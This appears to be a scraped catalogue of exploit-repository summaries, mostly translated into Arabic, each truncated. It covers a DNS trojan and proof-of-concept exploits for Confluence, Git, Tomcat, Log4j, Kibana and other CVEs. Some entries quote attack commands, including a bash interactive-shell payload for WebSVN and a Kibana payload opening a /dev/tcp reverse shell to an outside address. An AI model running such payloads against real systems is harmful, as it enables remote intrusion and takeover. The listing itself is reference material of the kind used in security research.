dnschan

dnschan هذا حصان طروادة يعمل عبر DNS. يمكنك: إدارة عدة عملاء ببطء شديد رفع الملفات جلب ملفات من الويب تشغيل العمليات...

CVE-2019-3396_EXP

CVE-2019-3396EXP CVE-2019-3396 confluence SSTI RCE 1、ضع cmd.vm على موقعك يجب استخدام ftp أو https؛ http لا يعمل 2、عدّل RCEexp.py، وغيّر السطر: filename = 'ftp://1.1.1.1/cmd.vm' python -m pyftpdlib -p 21 3、شغّل: python RECexp.py http://test.wikitest.cc:8080 "whoami" $ python RECexp.py...

CVE-2022-41828

CVE-2022-41828 تنفيذ التعليمات البرمجية عن بعد في برنامج تشغيل Amazon AWS Redshift JDBC RCE برنامج تشغيل Amazon JDBC لـ Redshift هو برنامج تشغيل JDBC من النوع 4 يوفر الاتصال بقاعدة البيانات عبر واجهات برمجة تطبيقات JDBC القياسية المتاحة في منصة Java Enterprise Editions. يوفر البرنامج الوصول إلى...

CVE-2025-54253-Exploit-Demo

🚨 CVE-2025-54253 – Adobe AEM Forms on JEE: حقن OGNL لتحقيق RCE 🔎 نظرة عامة CVE-2025-54253 هي ثغرة حرجة من نوع حقن OGNL في Adobe AEM Forms على JEE. تسمح للمهاجمين غير المصادقين بتنفيذ أوامر نظام تشغيل عشوائية عبر نقطة النهاية /adminui/debug?debug=OGNL:. الخطورة: حرجة درجة CVSS: 9.8 قيد الانتظار نا...

CVE-2018-11235-Git-Submodule-CE

CVE-2018-11235-Git-Submodule-CE CVE-2018-11235-Git PoC السحب من Docker docker pull qweraqq/cve-2018-11235-git-submodule-rce تشغيل خادم Git HTTP docker run -d -p 8080:80 qweraqq/cve-2018-11235-git-submodule-rce PoC git clone --recurse-submodules http://git.gitserver/malicious.git...

CVE-2023-26035

CVE-2023-26035 لقطات ZoneMinder - بدون مصادقة التثبيت استنساخ المستودع $ git clone https://github.com/Yuma-Tsushima07/CVE-2023-26035.git الإعداد ملاحظة: ثبّت أحدث إصدار من node $ npm init $ npm i axios cheerio yargs الاستخدام ┌─✗─v37r1x@7h3B14ckKn1gh75─/Documents/Code/CVE-2023-26035 └──╼ $node...

CVE-2019-19609

CVE-2019-19609 إطار Strapi عرضة لتنفيذ التعليمات البرمجية عن بُعد حسنًا، لم أجد أي ثغرة لـ CVE-2019-19609 لذا كتبت واحدة. :/ الاستخدام python3 exploit.py فيديو https://youtu.be/alhZJmuUd2s مزيد من المعلومات https://hack-fast.herokuapp.com/cve/CVE-2019-19609 https://github.com/strapi/strapi/pull/4...

CVE-2020-35682

CVE-2020-35682 SD-91948: CVE-2020-35682: ثغرة التجاوز في المصادقة أثناء تسجيل الدخول عبر SAML في ServiceDesk Plus. كما هو موصوف من قبل ManageEngine. إذا كان تثبيت ServiceDesk Plus 11134 في الهدف يحتوي على تسجيل الدخول عبر SAML مفعّلاً وكانت لديك بيانات اعتماد لمستخدم ذي صلاحيات منخفضة، فيمكنك...

CVE-2024-30850-chaos-rat-rce-poc

https://github.com/chebuya/CVE-2024-30850-chaos-rat-rce-poc/assets/146861503/ac03c8c7-54b3-4280-9f29-719c44af5192 CHAOS RAT v5.01 panneau web RCE CVE-2024-30850, CVE-2024-31839 https://github.com/tiagorlampert/CHAOS Cette exploitation fonctionne en usurpant le callback d'un agent pour une XSS...

CVE-2023-21608

CVE-2023-21608 Discord Server كان هذا الخطأ من نوع Use after Free، وقد حدث أثناء عملية resetForm عند التعامل مع مراجع ذاكرة الكائنات. المدونة Adobe Acrobat Reader - resetForm - CAgg UaF - استغلال RCE - CVE-2023-21608 النشرة الأمنية CVE-2023-21608 العرض التوضيحي...

CVE-2021-32305-websvn-2.6.0

CVE-2021-3205-websvn-2.6.0 هذا استغلال لثغرة CVE-2021-3205، وهي ثغرة ويب تسمح بحقن الأوامر في مسار search.php، ويسمح هذا الاستغلال بتنفيذ الأوامر. المتطلبات optparse, signal, requests الاستخدام ❯ python3 CVE-2021-3205.py --url http://10.0.2.168/websvn/ --payload "bash -c 'bash -i &...

CVE-2020-9484

CVE-2020-9484 Apache Tomcat RCE CVE-2020-9484 الإصدارات المتأثرة هي: Apache Tomcat 10.x 10.0.0-M5 Apache Tomcat 9.x 9.0.35 Apache Tomcat 8.x 8.5.55 Apache Tomcat 7.x 7.0.104...

CVE-2020-10204

CVE-2020-10204 CVE-2020-10204 سكريبت تنفيذ الأوامر عن بعد لمزيد من ملفات السكريبتات، راجع: https://github.com/zhzyker/exphub Readme +---------------------------------------------------------------------------------------------------------+ + DES: by zhzyker as https://github.com/zhzyker/exphub + ...

CVE-2022-21907

CVE-2022-21907 ثغرة في حزمة بروتوكول HTTP تتيح تنفيذ التعليمات البرمجية عن بُعد واحتمال تعطل النظام. جدول المحتويات CVE-2022-21907 الوصف البيئة إعداد الجهاز الضحية إعداد جهاز المهاجم الاستغلال إثبات المفهوم المراجع الوصف CVE-2022-21907 هي ثغرة أمنية في حزمة بروتوكول HTTP http.sys في نظام Windows...

CVE-2020-27955

ثغرة تنفيذ التعليمات البرمجية عن بعد RCE في Git-lfs CVE-2020-27955 إصدار .bat / powershell التطبيقات المعرضة: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken وغيرها اكتشفها Dawid Golunski https://legalhackers.com https://exploitbox.io اختُبر على ويندوز على:...

Mailcow-CVE-2022-31245

Mailcow CVE-2022-31245 CVE-2022-31245: تنفيذ الأوامر عن بُعد RCE وتصعيد صلاحيات مسؤول النطاق Domain Admin في Mailcow. يشمل إثبات المفهوم POC. تم الإبلاغ عنه وإصلاحه: مايو 2022 الإصدار المُصحح: https://github.com/mailcow/mailcow-dockerized/releases/tag/2022-05d CVE:...

CVE-2021-43258

CVE-2021-43258 استغلال تنفيذ التعليمات البرمجية عن بُعد في ChurchInfo 1.2.13-1.3.0 العنوان الكامل| استغلال تنفيذ التعليمات البرمجية عن بُعد في ChurchInfo 1.2.13-1.3.0 ---|--- تاريخ الإضافة| 21-11-2022 الفئة| استغلالات عن بُعد المنصة| php الخطورة| مخاطر أمنية حرجة الوصف| تستغل وحدة Metasploit هذه...

kibana-RCE

CVE-2019-7609 kibana-RCE & /dev/tcp/10.10.20.166/8989 0&1";process.exit//' .propslabel.proto.env.NODEOPTIONS='--require /proc/self/environ' 0x02 انقر على Canvas للحصول على شل...

CVE-2021-44228-Apache-Log4j-Rce

CVE-2021-44228تنفيذ التعليمات البرمجية عن بُعد في Apache Log4j） جميع إصدارات log4j-core =2.0-beta9 و=2.14.1 إصدارات 1.x تحتوي على ثغرات أخرى، ونوصي بتحديثها إلى أحدث إصدار. النشرات والتنبيهات الأمنية المرتبطة بـ Log4Shell CVE-2021-44228 الاستخدام: قم بتنزيل هذا المشروع، وقم بتجميع كود الاستغلال...

CVE-2024-4879-CVE-2024-5217-ServiceNow-RCE-Scanning

CVE-2024-4879-CVE-2024-5217-ServiceNow-RCE-Scanning فحص تنفيذ الأوامر عن بُعد RCE في ServiceNow الخاص بـ CVE-2024-4879 و CVE-2024-5217 باستخدام Nuclei و Shodan Dork للعثور عليه. Resource Vuln Info https://www.assetnote.io/resources/research/chaining-three-bugs-to-access-all-your-servicenow-data...